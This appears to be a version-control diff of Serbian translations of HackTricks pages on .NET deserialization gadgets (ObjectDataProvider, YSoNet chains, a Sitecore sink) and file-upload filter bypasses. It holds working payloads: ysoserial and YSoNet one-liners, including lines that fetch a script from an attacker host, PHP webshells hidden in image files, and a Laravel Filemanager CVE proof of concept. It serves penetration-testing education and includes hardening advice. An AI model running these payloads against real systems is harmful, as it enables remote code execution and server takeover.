## Automatski alati
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner za pronalaženje web cache poisoning ranjivosti u listi URL-ova i testiranje više injection techniques.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner za pronalaženje web cache poisoning ranjivosti u listi URL-ova i testiranje više injection tehnika.
## Reference

82
src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
View File

@ -2,27 +2,27 @@
{{#include ../../banners/hacktricks-training.md}}
Ovaj članak je posvećen **razumevanju kako se gadget ObjectDataProvider iskorišćava** da bi se dobio RCE i **kako** se Serialization biblioteke **Json.Net i xmlSerializer mogu zloupotrebiti** sa tim gadgetom.
Ovaj post je posvećen **razumevanju kako se gadget ObjectDataProvider eksploatiše** da bi se dobio RCE i **kako** se Serialization biblioteke **Json.Net i xmlSerializer mogu zloupotrebiti** sa tim gadgetom.
## ObjectDataProvider Gadget
Iz dokumentacije: _klasa ObjectDataProvider obavija i kreira objekat koji možete koristiti kao binding source_.\
Da, objašnjenje je čudno, pa hajde da vidimo šta ta klasa ima interesantno: Ova klasa omogućava da **omotate proizvoljan objekat**, koristite _**MethodParameters**_ da **postavite proizvoljne parametre,** i zatim **upotrebite MethodName da pozovete proizvoljnu funkciju** proizvoljnog objekta deklarisanog pomoću tih parametara.\
Dakle, proizvoljni **object** će **izvršiti** **funkciju** sa **parametrima tokom deserializacije.**
Iz dokumentacije: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Da, čudno objašnjenje, pa da vidimo šta ta klasa ima što je toliko interesantno: Ova klasa dozvoljava da **obuhvatite proizvoljan objekat**, koristite _**MethodParameters**_ da **postavite proizvoljne parametre**, i zatim **koristite MethodName da pozovete proizvoljnu funkciju** tog proizvoljnog objekta navedenu koristeći te proizvoljne parametre.\
Dakle, proizvoljni **objekat** će **izvršiti** **metodu** sa **parametrima tokom deserializacije.**
### **Kako je to moguće**
Namespace **System.Windows.Data**, koji se nalazi u **PresentationFramework.dll** na `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, je mesto gde je ObjectDataProvider definisan i implementiran.
Koristeći [**dnSpy**](https://github.com/0xd4d/dnSpy) možete **pregledati kod** klase koja nas zanima. Na slici ispod vidimo kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
Korišćenjem [**dnSpy**](https://github.com/0xd4d/dnSpy) možete **pregledati kod** klase koja nas zanima. Na slici ispod vidimo kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ime metode**
![](<../../images/image (427).png>)
Kao što možete primetiti, kada se postavi `MethodName` poziva se `base.Refresh()`, pogledajmo šta to radi:
Kao što možete primetiti, kada je `MethodName` postavljen poziva se `base.Refresh()`, hajde da pogledamo šta to radi:
![](<../../images/image (319).png>)
Ok, nastavimo da vidimo šta radi `this.BeginQuery()`. `BeginQuery` je override-ovan od strane `ObjectDataProvider` i ovo je šta radi:
Ok, nastavimo da vidimo šta radi `this.BeginQuery()`. `BeginQuery` je overridovan u `ObjectDataProvider` i ovo je ono što radi:
![](<../../images/image (345).png>)
@ -30,9 +30,9 @@ Obratite pažnju da na kraju koda poziva `this.QueryWorke(null)`. Pogledajmo št
![](<../../images/image (596).png>)
Primetite da ovo nije kompletan kod funkcije `QueryWorker` ali pokazuje interesantan deo: Kod **poziva `this.InvokeMethodOnInstance(out ex);`** — ovo je linija gde se **postavljena metoda poziva**.
Imajte na umu da ovo nije kompletan kod funkcije `QueryWorker` ali prikazuje njen zanimljiv deo: Kod **poziva `this.InvokeMethodOnInstance(out ex);`** ovo je linija gde se **podešena metoda poziva**.
Ako želite da proverite da samo postavljanje _**MethodName**_ će dovesti do njegovog izvršavanja, možete pokrenuti ovaj kod:
Ako želite da proverite da samo postavljanje _**MethodName**_ **će biti izvršeno**, možete pokrenuti ovaj kod:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
Napomena: potrebno je dodati kao referencu _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ kako bi se učitao `System.Windows.Data`
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
## ExpandedWrapper
Korišćenjem prethodnog exploita postaće slučajevi gde će **object** biti **deserialized as** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). U tom slučaju, neće postojati **znanje o tipu objekta koji je upleten** u instanci _ObjectDataProvider_ (na primer `Process`). Više [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Koristeći prethodni exploit postaće slučajevi gde će **object** biti **deserialized as** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserializovan koristeći `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Ova klasa omogućava da s**odredite tipove objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa može da se koristi da enkapsulira izvorni objekat (_ObjectDataProvider_) u novi tip objekta i da obezbedi svojstva koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Ovo je veoma korisno za slučajeve kao onaj prikazan ranije, jer ćemo moći da **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
Ova klasa omogućava da se **odrede tipovi objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa može da se koristi za enkapsulaciju izvornog objekta (_ObjectDataProvider_) u novi tip objekta i da obezbedi svojstva koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Ovo je veoma korisno za slučajeve kao što je prethodno predstavljen, jer ćemo moći da **wrap _ObjectDataProvider_ inside an _ExpandedWrapper_ instance** i **when deserialized** ova klasa će **create** _**OjectDataProvider**_ objekat koji će **execute** funkciju označenu u _**MethodName**_.
Možete proveriti ovaj wrapper pomoću sledećeg koda:
You can check this wrapper with the following code:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Na [official web page](https://www.newtonsoft.com/json) je naznačeno da ova biblioteka omogućava da **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Dakle, ako bismo mogli **deserialize the ObjectDataProvider gadget**, mogli bismo izazvati **RCE** samo deserijalizacijom objekta.
Na [službenoj veb stranici](https://www.newtonsoft.com/json) navodi se da ova biblioteka omogućava **serijalizaciju i deserijalizaciju bilo kog .NET objekta pomoću moćnog JSON serijalizatora Json.NET-a**. Dakle, ako bismo mogli **deserijalizovati ObjectDataProvider gadget**, mogli bismo izazvati **RCE** samo deserijalizacijom objekta.
### Json.Net primer
Prvo, pogledajmo primer kako da **serialize/deserialize** objekat koristeći ovu biblioteku:
Prvo, pogledajmo primer kako da **serijalizujemo/deserijalizujemo** objekat koristeći ovu biblioteku:
```java
using System;
using Newtonsoft.Json;
@ -132,7 +132,7 @@ Console.WriteLine(desaccount.Email);
}
}
```
### Abusing Json.Net
### Zloupotreba Json.Net
Koristeći [ysoserial.net](https://github.com/pwntester/ysoserial.net) napravio sam exploit:
```java
@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
U ovom kodu možete **test the exploit**, samo ga pokrenite i videćete da se calc pokreće:
U ovom kodu možete **testirati exploit**, samo ga pokrenite i videćete da se izvršava calc:
```java
using System;
using System.Text;
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## Napredni .NET lanci gadgeta (YSoNet & ysoserial.net)
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Tehnika ObjectDataProvider + ExpandedWrapper predstavljena iznad samo je jedan od MNOGIH lanaca gadgeta koji se mogu zloupotrebiti kada aplikacija izvodi **nesigurnu .NET deserijalizaciju**. Moderni alati za red-team kao što su **[YSoNet](https://github.com/irsdl/ysonet)** (i stariji [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizuju kreiranje **spremnih za upotrebu zlonamernih objektnih grafova** za desetine gadgeta i formata serijalizacije.
Tehnika ObjectDataProvider + ExpandedWrapper predstavljena gore je samo jedna od MNOGИХ gadget chain-ova koje je moguće zloupotrebiti kada aplikacija izvršava **unsafe .NET deserialization**. Moderni red-team alati kao što su **[YSoNet](https://github.com/irsdl/ysonet)** (i stariji [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizuju kreiranje **spremnih za upotrebu malicioznih grafova objekata** za desetine gadget-a i formata serijalizacije.
Ispod je sažeti referentni pregled najkorisnijih lanaca isporučenih sa *YSoNet* zajedno sa kratkim objašnjenjem kako rade i primerima komandi za generisanje payload-ova.
Ispod je sažeti referentni pregled najkorisnijih lanaca koji dolaze sa *YSoNet* zajedno sa kratkim objašnjenjem kako rade i primer komandnih linija za generisanje payload-a.
| Lanac gadgeta | Ključna ideja / primitiv | Uobičajeni serijalizatori | YSoNet one-liner |
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Korumpira zapis `DelegateSerializationHolder` tako da, nakon materializacije, delegat pokazuje na *bilo koju* metodu koju napadač obezbedi (npr. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Zloupotrebljava `System.Workflow.ComponentModel.ActivitySurrogateSelector` da *zaobiđe .NET ≥4.8 filtriranje tipova* i direktno pozove **konstruktor** zadate klase ili **kompajlira** C# fajl u letu | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Iskorišćava **nasleđenu XML** reprezentaciju `System.Data.DataSet` da instancira proizvoljne tipove popunjavanjem polja `<ColumnMapping>` / `<DataType>` (opciono falsifikujući assembly pomoću `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Na runtime okruženjima sa podrškom za WPF (> .NET 5) ulančava getters svojstava dok ne dosegne `System.CodeDom.Compiler.CompilerResults`, zatim *kompajlira* ili *učitava* DLL prosleđen sa `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Koristi WPF `System.Windows.Data.ObjectDataProvider` za pozivanje proizvoljne statičke metode sa kontrolisanim argumentima. YSoNet dodaje praktičnu `--xamlurl` varijantu za hostovanje zlonamernog XAML-a na daljinu | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Ugradi `ScriptBlock` u `System.Management.Automation.PSObject` koji se izvršava kada PowerShell deserijalizuje objekat | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| **TypeConfuseDelegate** | Korumpira zapis `DelegateSerializationHolder` tako da, kada se materializuje, delegat pokazuje na *bilo koju* metodu koju napadač obezbedi (npr. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Zloupotrebljava `System.Workflow.ComponentModel.ActivitySurrogateSelector` da *zaobiđe .NET ≥4.8 type-filtering* i direktno pozove **konstruktor** date klase ili **kompajlira** C# fajl u letu | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Iskorištava **legacy XML** reprezentaciju `System.Data.DataSet` da instancira proizvoljne tipove popunjavanjem polja `<ColumnMapping>` / `<DataType>` (opciono lažirajući assembly sa `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Na runtime-ovima sa WPF (> .NET 5) lančano poziva gettere svojstava dok ne dosegne `System.CodeDom.Compiler.CompilerResults`, zatim *kompajlira* ili *učitava* DLL prosleđen sa `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Koristi WPF `System.Windows.Data.ObjectDataProvider` za pozivanje proizvoljne statičke metode sa kontrolisanim argumentima. YSoNet dodaje zgodnu `--xamlurl` varijantu da hostuje maliciozni XAML udaljeno | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Umeće `ScriptBlock` u `System.Management.Automation.PSObject` koji se izvršava kada PowerShell deserijalizuje objekat | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Svi payloads su po defaultu **ispisani na *stdout***, što ih čini trivijalnim za prosleđivanje (pipe) drugim alatima (npr. ViewState generatorima, base64 enkoderima, HTTP klijentima).
> Svi payloadi se po defaultu pišu na *stdout*, što olakšava njihovo prosleđivanje u druge alate (npr. ViewState generators, base64 encoders, HTTP clients).
### Izgradnja / instalacija YSoNet
### Kompajliranje / instalacija YSoNet
Ako nema pre-compiled binarnih fajlova dostupnih pod *Actions ➜ Artifacts* / *Releases*, sledeći **PowerShell** jednolinijski komad će podesiti build okruženje, klonirati repozitorijum i kompajlirati sve u *Release* modu:
Ako nema prekompajliranih binarnih fajlova dostupnih pod *Actions ➜ Artifacts* / *Releases*, sledeći **PowerShell** one-liner će podesiti build okruženje, klonirati repozitorijum i kompajlirati sve u *Release* modu:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -218,20 +218,20 @@ msbuild ysonet.sln -p:Configuration=Release
```
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
### Detekcija & Hardening
* **Detektujte** neočekivane child procese `w3wp.exe`, `PowerShell.exe`, ili bilo kog procesa koji deserializuje podatke koje dostavlja korisnik (npr. `MessagePack`, `Json.NET`).
* Omogućite i **primenite filtriranje tipova** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) kad god se legacy `BinaryFormatter` / `NetDataContractSerializer` ne može ukloniti.
* Gde je moguće, migrirajte na **`System.Text.Json`** ili **`DataContractJsonSerializer`** sa konverterima zasnovanim na whitelisti.
* Blokirajte opasne WPF assemblies (`PresentationFramework`, `System.Workflow.*`) da se ne učitavaju u web procesima kojima oni nikada ne trebaju.
### Otkrivanje i zaštita
* **Detektuj** neočekivane podprocese `w3wp.exe`, `PowerShell.exe`, ili bilo kog procesa koji deserijalizuje podatke koje dostavi korisnik (npr. `MessagePack`, `Json.NET`).
* Omogući i **primeni filtriranje tipova** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) kad se stari `BinaryFormatter` / `NetDataContractSerializer` ne može ukloniti.
* Kad je moguće, pređite na **`System.Text.Json`** ili **`DataContractJsonSerializer`** sa konverterima zasnovanim na beloj listi.
* Blokirajte opasne WPF assembly-je (`PresentationFramework`, `System.Workflow.*`) da se ne bi učitavali u web procesima kojima nisu potrebni.
## Praktični sink: Sitecore convertToRuntimeHtml → BinaryFormatter
## Stvarni primer sinka: Sitecore convertToRuntimeHtml → BinaryFormatter
Praktičan .NET sink dostupan u autentifikovanim Sitecore XP Content Editor tokovima:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` poziva `new BinaryFormatter().Deserialize(...)`.
- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, koji traži susedni element sa `id="{iframeId}_inner"` i čita atribut `value` koji se tretira kao base64‑kodirani serijalizovani podatak. Rezultat se kastuje u string i umeće u HTML.
- Put okidanja: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, koji traži susedni element sa `id="{iframeId}_inner"` i čita atribut `value` koji se tretira kao base64‑kodirani serijalizovani podaci. Rezultat se kastuje u string i ubacuje u HTML.
Minimalan end‑to‑end (autentifikovano):
Minimalni end‑to‑end (autentifikovano):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@ -246,9 +246,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: bilo koji BinaryFormatter chain koji vraća string (side‑effects se izvršavaju tokom deserialization). Pogledajte YSoNet/ysoserial.net za generisanje payloads.
- Gadget: bilo koji BinaryFormatter lanac koji vraća string (side‑effects se izvršavaju tokom deserializacije). Pogledajte YSoNet/ysoserial.net za generisanje payloads.
Za kompletnu lančanu vezu koja počinje pre‑auth sa HTML cache poisoning u Sitecore i vodi do ovog sinka:
Za potpuni lanac koji počinje pre‑auth sa HTML cache poisoning u Sitecore i vodi do ovog sink-a:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md

153
src/pentesting-web/file-upload/README.md
View File

@ -1,10 +1,10 @@
# Otpremanje fajlova
# Otprema fajlova
{{#include ../../banners/hacktricks-training.md}}
## Opšta metodologija za otpremanje fajlova
Other useful extensions:
Druge korisne ekstenzije:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@ -15,13 +15,13 @@ Other useful extensions:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Zaobilaženje provere ekstenzija fajlova
### Zaobilaženje kontrole ekstenzija
1. Ako se primenjuje, **proveri** **prethodne ekstenzije.** Takođe testiraj koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
2. _Proveri **dodavanje validne ekstenzije pre** eksekutivne ekstenzije (koristi i prethodne ekstenzije):_
1. Ako su primenljive, **proverite** prethodne ekstenzije. Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
2. _Proverite **dodavanje validne ekstenzije pre** ekstenzije za izvršenje (koristite i prethodne ekstenzije):_
- _file.png.php_
- _file.png.Php5_
3. Pokušaj dodati **specijalne karaktere na kraju.** Možeš koristiti Burp da **bruteforce** sve **ascii** i **Unicode** karaktere. (_Imaj na umu da možeš takođe pokušati da koristiš **ranije** pomenute **ekstenzije**_)
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp za **bruteforce** svih **ascii** i **Unicode** karaktera. (_Napomena: takođe možete pokušati koristiti **prethodno** pomenute **ekstenzije**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Pokušaj zaobići zaštite **zavaravanjem parsera ekstenzija** na server strani tehnikama kao što su **udvostručavanje** **ekstenzije** ili **dodavanje junk** podataka (**null** bajtovi) između ekstenzija. _Možeš takođe koristiti **prethodne ekstenzije** da pripremiš bolji payload._
4. Pokušajte zaobići zaštite **varajući parser ekstenzija** na serverskoj strani sa tehnikama kao što su **dupliranje** **ekstenzije** ili **dodavanje junk** podataka (**null** bytes) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Dodaj **još jedan sloj ekstenzija** na prethodnu proveru:
5. Dodajte **još jedan sloj ekstenzija** na prethodnu proveru:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Pokušaj staviti **exec ekstenziju pre validne ekstenzije** i nadaj se da je server pogrešno konfigurisan. (korisno za eksploatisanje Apache misconfig-a gde će sve što ima ekstenziju **.php**, ali **ne mora nužno da se završava sa .php**, izvršavati kod):
6. Pokušajte staviti **ekstenziju za izvršenje pre validne ekstenzije** i nadate se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache miskonfiguracija gde će se izvršiti kod za bilo šta sa ekstenzijom **_.php_**, čak i ako fajl ne završava na .php):
- _ex: file.php.png_
7. Korišćenje NTFS alternate data stream (ADS) na Windows-u. U tom slučaju, karakter dvojne tačke ":" će biti ubačen posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, biće kreiran **prazan fajl sa zabranjenom ekstenzijom** na serveru (npr. "file.asax:.jpg”). Ovaj fajl može kasnije biti izmenjen koristeći druge tehnike kao što je korišćenje njegovog short filename-a. Pattern "**::$data**” takođe može biti korišćen za kreiranje ne-praznih fajlova. Stoga, dodavanje tačke posle ovog pattern-a može biti korisno za zaobilaženje daljih ograničenja (npr. "file.asp::$data.”)
8. Pokušaj probiti ograničenja dužine imena fajla. Validna ekstenzija se odseca. I ostaje maliciozni PHP. AAA<--SNIP-->AAA.php
7. Korišćenje **NTFS alternate data stream (ADS)** u **Windows**. U ovom slučaju, dvotačka ":" biće umetnuta posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, biće kreiran **prazan fajl sa zabranjenom ekstenzijom** na serveru (npr. "file.asax:.jpg"). Ovaj fajl se kasnije može izmeniti drugim tehnikama kao što je upotreba njegovog short filename. Šablon "**::$data**” se takođe može koristiti za kreiranje fajlova sa sadržajem. Stoga dodavanje tačke posle ovog šablona može biti korisno za zaobilaženje daljih ograničenja (npr. "file.asp::$data.").
8. Pokušajte prekoračiti limite imena fajla. Validna ekstenzija se iseče. I ostaje zlonamerni PHP. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -59,13 +59,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. završna tačka) – CVE-2024-21546
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Neki upload handler-i trieju ili normalizuju završne tačke iz sačuvanog imena fajla. U UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) verzijama pre 2.9.1, možeš zaobići validaciju ekstenzija tako što:
Neki upload handler-i skraćuju ili normalizuju završne tačke u imenu fajla. U UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) verzijama pre 2.9.1, možete zaobići validaciju ekstenzija na sledeći način:
- Koristiš validan image MIME i magic header (npr. PNG’s `\x89PNG\r\n\x1a\n`).
- Imenovanjem otpremljenog fajla sa PHP ekstenzijom praćenom tačkom, npr. `shell.php.`.
- Server uklanja završnu tačku i sačuva `shell.php`, koji će se izvršiti ako je postavljen u web-serviran direktorijum (podrazumevano public storage kao `/storage/files/`).
- Korišćenjem validnog image MIME i magic header-a (npr. PNG-ov `\x89PNG\r\n\x1a\n`).
- Imenujući otpremljeni fajl sa PHP ekstenzijom praćenom tačkom, npr. `shell.php.`.
- Server uklanja završnu tačku i sačuva `shell.php`, koji će se izvršiti ako je postavljen u direktorijum koji se servira preko web-a (podrazumevano public storage kao `/storage/files/`).
Minimalni PoC (Burp Repeater):
```http
@ -84,59 +84,59 @@ Zatim pristupite sačuvanoj putanji (tipično u Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
Mitigacije:
- Ažurirajte unisharp/laravel-filemanager na ≥ 2.9.1.
- Primeni stroge server-side allowliste i ponovo validiraj sačuvano ime fajla.
- Poslužuj uploadovane fajlove iz neizvršnih lokacija.
- Primeni stroge server-side allowlists i ponovo validiraj sačuvano ime fajla.
- Serve uploads iz neizvršnih lokacija.
### Bypass Content-Type, Magic Number, Compression & Resizing
### Zaobilaženje Content-Type, Magic Number, Compression & Resizing
- Zaobiđite **Content-Type** provere postavljanjem **value** polja **Content-Type** **header**-a na: _image/png_ , _text/plain , application/octet-stream_
- Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **header** na: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Zaobiđite **magic number** proveru dodavanjem na početak fajla **bytes of a real image** (zbunite _file_ komandu). Ili ubacite shell u **metadata**:\
- Zaobiđite proveru **magic number** tako što ćete na početak fajla dodati **bajtove prave slike** (zbunite _file_ komandu). Ili ubacite shell u **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ili takođe možete **ubaciti payload direktno** u sliku:\
`\` or you could also **introduce the payload directly** in an image:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Ako se na vašu sliku primenjuje **kompresija**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **survive compression**.
- Ako se na vašu sliku primenjuje **kompresija**, na primer koristeći neke standardne PHP biblioteke poput [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Veb stranica takođe može **resizovati** **sliku**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Ipak, možete koristiti **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **survive compression**.
- Web stranica takođe može menjati **veličinu** **slike**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Ipak, možete koristiti **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Još jedna tehnika za kreiranje payload-a koji **preživi promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Ipak, možete koristiti **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **survive compression**.
- Još jedna tehnika za pravljenje payload-a koji **preživi promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Ipak, možete koristiti **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Ostali trikovi za proveru
- Pronađi ranjivost koja omogućava **rename** već uploadovanog fajla (promenu ekstenzije).
- Pronađi **Local File Inclusion** ranjivost da izvršiš backdoor.
- **Possible Information disclosure**:
1. Uploaduj **više puta** (i **istovremeno**) **isti fajl** sa **istim imenom**
2. Uploaduj fajl sa **imenom** fajla ili foldera koji **već postoji**
3. Upload fajla sa imenom **"."**, **".."**, ili **"…"**. Na primer, u Apache na **Windows**, ako aplikacija čuva uploadovane fajlove u "/www/uploads/" direktorijumu, ime fajla "." će kreirati fajl pod imenom "uploads" u "/www/" direktorijumu.
4. Upload fajla koji možda nije lako obrisati, na primer **"...:.jpg"** na **NTFS**. (Windows)
5. Upload fajla na **Windows** sa **invalidnim karakterima** kao što su `|<>*?”` u imenu. (Windows)
